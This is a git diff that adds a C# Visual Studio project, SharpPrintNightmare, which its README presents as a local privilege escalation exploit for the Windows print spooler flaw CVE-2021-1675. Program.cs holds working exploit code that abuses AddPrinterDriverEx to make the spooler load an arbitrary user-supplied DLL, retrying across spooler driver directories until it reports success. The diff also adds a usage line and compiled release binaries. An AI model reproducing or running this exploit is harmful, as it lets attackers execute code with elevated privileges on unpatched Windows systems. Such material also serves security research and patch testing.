diff --git a/Images/poc2.png b/Images/poc2.png new file mode 100644 index 0000000..2495879 Binary files /dev/null and b/Images/poc2.png differ diff --git a/Images/poc3.png b/Images/poc3.png new file mode 100644 index 0000000..80b3024 Binary files /dev/null and b/Images/poc3.png differ diff --git a/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo b/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo new file mode 100644 index 0000000..aad948e Binary files /dev/null and b/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo differ diff --git a/SharpPrintNightmare/README.md b/SharpPrintNightmare/README.md new file mode 100644 index 0000000..18615d5 --- /dev/null +++ b/SharpPrintNightmare/README.md @@ -0,0 +1,9 @@ +# C# LPE Implementation of CVE-2021-1675 + +### Usage + +``` +C:\SharpPrintNightmare.exe C:\addCube.dll +``` + +![](../Images/poc3.png) diff --git a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo new file mode 100644 index 0000000..9401600 Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo differ diff --git a/SharpPrintNightmare/SharpPrintNightmare/App.config b/SharpPrintNightmare/SharpPrintNightmare/App.config new file mode 100644 index 0000000..8e15646 --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/SharpPrintNightmare/SharpPrintNightmare/Program.cs b/SharpPrintNightmare/SharpPrintNightmare/Program.cs new file mode 100644 index 0000000..7c3d62c --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/Program.cs @@ -0,0 +1,150 @@ +using System; +using System.ComponentModel; +using System.IO; +using System.Runtime.InteropServices; + +namespace SharpPrintNightmare +{ + class Program + { + [DllImport("kernel32.dll")] + static extern uint GetLastError(); + + [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool AddPrinterDriverEx([Optional] string pName, uint Level, [In, Out] IntPtr pDriverInfo, uint dwFileCopyFlags); + + //https://www.pinvoke.net/default.aspx/winspool/EnumPrinterDrivers.html + [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)] + static extern bool EnumPrinterDrivers(String pName, String pEnvironment, uint level, IntPtr pDriverInfo, uint cdBuf, ref uint pcbNeeded, ref uint pcRetruned); + public struct DRIVER_INFO_2 + { + public uint cVersion; + [MarshalAs(UnmanagedType.LPTStr)] + public string pName; + [MarshalAs(UnmanagedType.LPTStr)] + public string pEnvironment; + [MarshalAs(UnmanagedType.LPTStr)] + public string pDriverPath; + [MarshalAs(UnmanagedType.LPTStr)] + public string pDataFile; + [MarshalAs(UnmanagedType.LPTStr)] + public string pConfigFile; + } + + // 3.1.4.4.8 RpcAddPrinterDriverEx Values + public static uint APD_STRICT_UPGRADE = 0x00000001; + public static uint APD_STRICT_DOWNGRADE = 0x00000002; + public static uint APD_COPY_ALL_FILES = 0x00000004; + public static uint APD_COPY_NEW_FILES = 0x00000008; + public static uint APD_COPY_FROM_DIRECTORY = 0x00000010; + public static uint APD_DONT_COPY_FILES_TO_CLUSTER = 0x00001000; + public static uint APD_COPY_TO_ALL_SPOOLERS = 0x00002000; + public static uint APD_INSTALL_WARNED_DRIVER = 0x00008000; + public static uint APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000; + + static void Main(string[] args) + { + string dllpath; + if (args == null || args.Length == 0) + { + Console.WriteLine("Need an argument containing the dll path"); + Console.WriteLine(".\\SharpPrintNightmare.exe C:\\addCube.dll"); + Environment.Exit(0); + } + dllpath = args[0]; + + Console.WriteLine("[*] Try 1..."); + addPrinter(dllpath); + Console.WriteLine("[*] Try 2..."); + addPrinter(dllpath); + Console.WriteLine("[*] Try 3..."); + addPrinter(dllpath); + } + + static void addPrinter(string dllpath) + { + DRIVER_INFO_2[] drivers = getDrivers(); + string pDriverPath = Directory.GetParent(drivers[0].pDriverPath).FullName + "\\UNIDRV.DLL"; + Console.WriteLine("[*] pDriverPath Found " + pDriverPath); + Console.WriteLine("[*] Executing C:\\addCube.dll"); + + //DRIVER_INFO_2 Level2 = drivers[0]; + DRIVER_INFO_2 Level2 = new DRIVER_INFO_2(); + Level2.cVersion = 3; + Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll"; + Level2.pDataFile = dllpath; + Level2.pDriverPath = pDriverPath; + Level2.pEnvironment = "Windows x64"; + Level2.pName = "12345"; + + string filename = Path.GetFileName(dllpath); + uint flags = APD_COPY_ALL_FILES | 0x10 | 0x8000; + + //convert struct to unmanage code + IntPtr pnt = Marshal.AllocHGlobal(Marshal.SizeOf(Level2)); + Marshal.StructureToPtr(Level2, pnt, false); + + //call AddPrinterDriverEx + AddPrinterDriverEx(null, 2, pnt, flags); + Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error()); + Marshal.FreeHGlobal(pnt); + + for (int i = 1; i <= 30; i++) + { + //add path to our exploit + Level2.pConfigFile = $"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{i}\\{filename}"; + //convert struct to unmanage code + IntPtr pnt2 = Marshal.AllocHGlobal(Marshal.SizeOf(Level2)); + Marshal.StructureToPtr(Level2, pnt2, false); + + //call AddPrinterDriverEx + AddPrinterDriverEx(null, 2, pnt2, flags); + int errorcode = Marshal.GetLastWin32Error(); + Marshal.FreeHGlobal(pnt2); + if(errorcode == 0) + { + Console.WriteLine($"[*] Stage {i}: " + errorcode); + Console.WriteLine($"[+] Exploit Completed"); + Environment.Exit(0); + } + } + } + + static DRIVER_INFO_2[] getDrivers() + { + uint cbNeeded = 0; + uint cReturned = 0; + if (EnumPrinterDrivers(null, null, 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned)) + { + //succeeds, but shouldn't, because buffer is zero (too small)! + throw new Exception("EnumPrinters should fail!"); + } + + int lastWin32Error = Marshal.GetLastWin32Error(); + //ERROR_INSUFFICIENT_BUFFER = 122 expected, if not -> Exception + if (lastWin32Error != 122) + { + throw new Win32Exception(lastWin32Error); + } + + IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded); + if (EnumPrinterDrivers(null, null, 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned)) + { + DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned]; + long offset; + offset = pAddr.ToInt64(); + Type type = typeof(DRIVER_INFO_2); + int increment = Marshal.SizeOf(type); + for (int i = 0; i < cReturned; i++) + { + printerInfo2[i] = (DRIVER_INFO_2)Marshal.PtrToStructure(new IntPtr(offset), type); + offset += increment; + } + Marshal.FreeHGlobal(pAddr); + return printerInfo2; + } + + throw new Win32Exception(Marshal.GetLastWin32Error()); + } + } +} diff --git a/SharpPrintNightmare/SharpPrintNightmare/Properties/AssemblyInfo.cs b/SharpPrintNightmare/SharpPrintNightmare/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..7205f3a --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SharpPrintNightmare")] +[assembly: AssemblyDescription("Cube0x0")] +[assembly: AssemblyConfiguration("Cube0x0")] +[assembly: AssemblyCompany("Cube0x0")] +[assembly: AssemblyProduct("SharpPrintNightmare")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("Cube0x0")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("5feb114b-49ec-4652-b29e-8cb5e752ec3e")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj new file mode 100644 index 0000000..b479c26 --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj @@ -0,0 +1,52 @@ + + + + + Debug + AnyCPU + {5FEB114B-49EC-4652-B29E-8CB5E752EC3E} + Exe + CVE_2021_1675 + SharpPrintNightmare + v4.5 + 512 + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.sln b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.sln new file mode 100644 index 0000000..5a35349 --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31205.134 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpPrintNightmare", "SharpPrintNightmare.csproj", "{5FEB114B-49EC-4652-B29E-8CB5E752EC3E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5FEB114B-49EC-4652-B29E-8CB5E752EC3E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {5FEB114B-49EC-4652-B29E-8CB5E752EC3E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {5FEB114B-49EC-4652-B29E-8CB5E752EC3E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {5FEB114B-49EC-4652-B29E-8CB5E752EC3E}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {11E1DC60-0FB5-4AF6-86EF-EDB693E64849} + EndGlobalSection +EndGlobal diff --git a/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe new file mode 100644 index 0000000..9650dd2 Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe differ diff --git a/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe.config b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe.config new file mode 100644 index 0000000..8e15646 --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.pdb b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.pdb new file mode 100644 index 0000000..8f75a5d Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.pdb differ diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs new file mode 100644 index 0000000..e5dc9b8 --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..1f6c409 Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/SharpPrintNightmare.csprojAssemblyReference.cache b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/SharpPrintNightmare.csprojAssemblyReference.cache new file mode 100644 index 0000000..e02ff37 Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/SharpPrintNightmare.csprojAssemblyReference.cache differ diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs new file mode 100644 index 0000000..e5dc9b8 --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.CoreCompileInputs.cache b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..37303f8 --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +6a7ab24d74b7e25a7ffff290d4fe2dc8916038a2 diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..4b06fd5 --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt @@ -0,0 +1,6 @@ +C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\bin\Release\SharpPrintNightmare.exe.config +C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\bin\Release\SharpPrintNightmare.exe +C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\bin\Release\SharpPrintNightmare.pdb +C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\obj\Release\SharpPrintNightmare.csproj.CoreCompileInputs.cache +C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\obj\Release\SharpPrintNightmare.exe +C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\obj\Release\SharpPrintNightmare.pdb diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.exe b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.exe new file mode 100644 index 0000000..9650dd2 Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.exe differ diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.pdb b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.pdb new file mode 100644 index 0000000..8f75a5d Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.pdb differ